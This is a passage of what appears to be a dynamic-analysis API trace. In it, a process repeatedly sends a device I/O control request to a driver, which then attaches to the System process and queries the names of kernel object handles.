Object=0xfffffa800254d2f0, ObjectNameInfo=0xfffffa8003a7e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.616] ObfDereferenceObject (Object=0xfffffa800254d2f0) returned 0x2 [0089.616] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.616] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.616] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.616] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.616] PsAcquireProcessExitSynchronization () returned 0x0 [0089.616] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.616] ObReferenceObjectByHandle (in: Handle=0xffffffff8000093c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019d8400, HandleInformation=0x0) returned 0x0 [0089.616] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.616] PsReleaseProcessExitSynchronization () returned 0x2 [0089.616] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.616] ObQueryNameString (in: Object=0xfffffa80019d8400, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.617] ObfDereferenceObject (Object=0xfffffa80019d8400) returned 0x2 [0089.617] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.617] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.617] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.617] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.617] PsAcquireProcessExitSynchronization () returned 0x0 [0089.617] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.617] ObReferenceObjectByHandle (in: Handle=0xffffffff80000948, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800200b370, HandleInformation=0x0) returned 0x0 [0089.617] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.617] PsReleaseProcessExitSynchronization () returned 0x2 [0089.617] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.617] ObQueryNameString (in: Object=0xfffffa800200b370, ObjectNameInfo=0xfffffa8003ac2044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac2044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.617] ObfDereferenceObject (Object=0xfffffa800200b370) returned 0x2 [0089.617] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.617] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.617] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.617] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.617] PsAcquireProcessExitSynchronization () returned 0x0 [0089.617] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.617] ObReferenceObjectByHandle (in: Handle=0xffffffff8000094c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800200a7c0, HandleInformation=0x0) returned 0x0 [0089.617] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.617] PsReleaseProcessExitSynchronization () returned 0x2 [0089.617] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.617] ObQueryNameString (in: Object=0xfffffa800200a7c0, ObjectNameInfo=0xfffffa8003ac3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac3044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.617] ObfDereferenceObject (Object=0xfffffa800200a7c0) returned 0x2 [0089.617] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.617] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.617] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.618] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.618] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.618] PsAcquireProcessExitSynchronization () returned 0x0 [0089.618] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.618] ObReferenceObjectByHandle (in: Handle=0xffffffff80000950, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800200c050, HandleInformation=0x0) returned 0x0 [0089.618] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.618] PsReleaseProcessExitSynchronization () returned 0x2 [0089.618] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.618] ObQueryNameString (in: Object=0xfffffa800200c050, ObjectNameInfo=0xfffffa8003ac4044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac4044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.618] ObfDereferenceObject (Object=0xfffffa800200c050) returned 0x2 [0089.618] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.618] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.618] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.618] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xac, lpOverlapped=0x0) returned 1 [0089.618] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.618] PsAcquireProcessExitSynchronization () returned 0x0 [0089.618] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.618] ObReferenceObjectByHandle (in: Handle=0xffffffff80000960, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028c7870, HandleInformation=0x0) returned 0x0 [0089.618] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.618] PsReleaseProcessExitSynchronization () returned 0x2 [0089.618] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.618] ObQueryNameString (in: Object=0xfffffa80028c7870, ObjectNameInfo=0xfffffa8003ac5044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac5044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.837] ObfDereferenceObject (Object=0xfffffa80028c7870) returned 0x0 [0089.856] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.856] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.856] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.857] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.857] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.857] PsAcquireProcessExitSynchronization () returned 0x0 [0089.857] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.857] ObReferenceObjectByHandle (in: Handle=0xffffffff80000964, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003311490, HandleInformation=0x0) returned 0x0 [0089.857] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.857] PsReleaseProcessExitSynchronization () returned 0x2 [0089.857] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.857] ObQueryNameString (in: Object=0xfffffa8003311490, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.857] ObfDereferenceObject (Object=0xfffffa8003311490) returned 0x2 [0089.857] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.857] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.857] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.857] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.857] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.857] PsAcquireProcessExitSynchronization () returned 0x0 [0089.857] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.857] ObReferenceObjectByHandle (in: Handle=0xffffffff80000968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003312a40, HandleInformation=0x0) returned 0x0 [0089.857] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.857] PsReleaseProcessExitSynchronization () returned 0x2 [0089.857] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.857] ObQueryNameString (in: Object=0xfffffa8003312a40, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.857] ObfDereferenceObject (Object=0xfffffa8003312a40) returned 0x2 [0089.857] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.857] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.857] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.857] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.857] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.857] PsAcquireProcessExitSynchronization () returned 0x0 [0089.857] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.857] ObReferenceObjectByHandle (in: Handle=0xffffffff80000970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0089.857] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.857] PsReleaseProcessExitSynchronization () returned 0x2 [0089.858] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.858] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.858] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.858] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.858] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.858] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.858] PsAcquireProcessExitSynchronization () returned 0x0 [0089.858] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.858] ObReferenceObjectByHandle (in: Handle=0xffffffff80000980, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80033f89a0, HandleInformation=0x0) returned 0x0 [0089.858] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.858] PsReleaseProcessExitSynchronization () returned 0x2 [0089.858] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.858] ObQueryNameString (in: Object=0xfffffa80033f89a0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.858] ObfDereferenceObject (Object=0xfffffa80033f89a0) returned 0x2 [0089.858] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.858] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.858] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.858] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.858] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.858] PsAcquireProcessExitSynchronization () returned 0x0 [0089.858] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.858] ObReferenceObjectByHandle (in: Handle=0xffffffff80000984, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024d5d10, HandleInformation=0x0) returned 0x0 [0089.858] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.858] PsReleaseProcessExitSynchronization () returned 0x2 [0089.858] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.858] ObQueryNameString (in: Object=0xfffffa80024d5d10, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.858] ObfDereferenceObject (Object=0xfffffa80024d5d10) returned 0x2 [0089.858] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.858] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.858] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.858] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.858] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.858] PsAcquireProcessExitSynchronization () returned 0x0 [0089.858] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.858] ObReferenceObjectByHandle (in: Handle=0xffffffff80000988, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003424050, HandleInformation=0x0) returned 0x0 [0089.859] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.859] PsReleaseProcessExitSynchronization () returned 0x2 [0089.859] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.859] ObQueryNameString (in: Object=0xfffffa8003424050, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.859] ObfDereferenceObject (Object=0xfffffa8003424050) returned 0x2 [0089.859] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.859] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.859] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.859] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.859] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.859] PsAcquireProcessExitSynchronization () returned 0x0 [0089.859] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.859] ObReferenceObjectByHandle (in: Handle=0xffffffff80000998, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003421a20, HandleInformation=0x0) returned 0x0 [0089.859] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.859] PsReleaseProcessExitSynchronization () returned 0x2 [0089.859] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.859] ObQueryNameString (in: Object=0xfffffa8003421a20, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.859] ObfDereferenceObject (Object=0xfffffa8003421a20) returned 0x2 [0089.859] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.859] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.859] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.859] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.859] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.859] PsAcquireProcessExitSynchronization () returned 0x0 [0089.859] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.859] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800342a3e0, HandleInformation=0x0) returned 0x0 [0089.859] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.859] PsReleaseProcessExitSynchronization () returned 0x2 [0089.859] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.859] ObQueryNameString (in: Object=0xfffffa800342a3e0, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.859] ObfDereferenceObject (Object=0xfffffa800342a3e0) returned 0x2 [0089.859] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.859] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.859] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.859] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.859] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.860] PsAcquireProcessExitSynchronization () returned 0x0 [0089.860] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.860] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003428360, HandleInformation=0x0) returned 0x0 [0089.860] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.860] PsReleaseProcessExitSynchronization () returned 0x2 [0089.860] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.860] ObQueryNameString (in: Object=0xfffffa8003428360, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.860] ObfDereferenceObject (Object=0xfffffa8003428360) returned 0x2 [0089.860] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.860] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.860] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.860] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.860] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.860] PsAcquireProcessExitSynchronization () returned 0x0 [0089.860] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.860] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800342a2b0, HandleInformation=0x0) returned 0x0 [0089.860] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.860] PsReleaseProcessExitSynchronization () returned 0x2 [0089.860] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.860] ObQueryNameString (in: Object=0xfffffa800342a2b0, ObjectNameInfo=0xfffffa8003acc044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003acc044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.860] ObfDereferenceObject (Object=0xfffffa800342a2b0) returned 0x2 [0089.860] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.860] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.860] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.860] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.860] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.860] PsAcquireProcessExitSynchronization () returned 0x0 [0089.860] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, 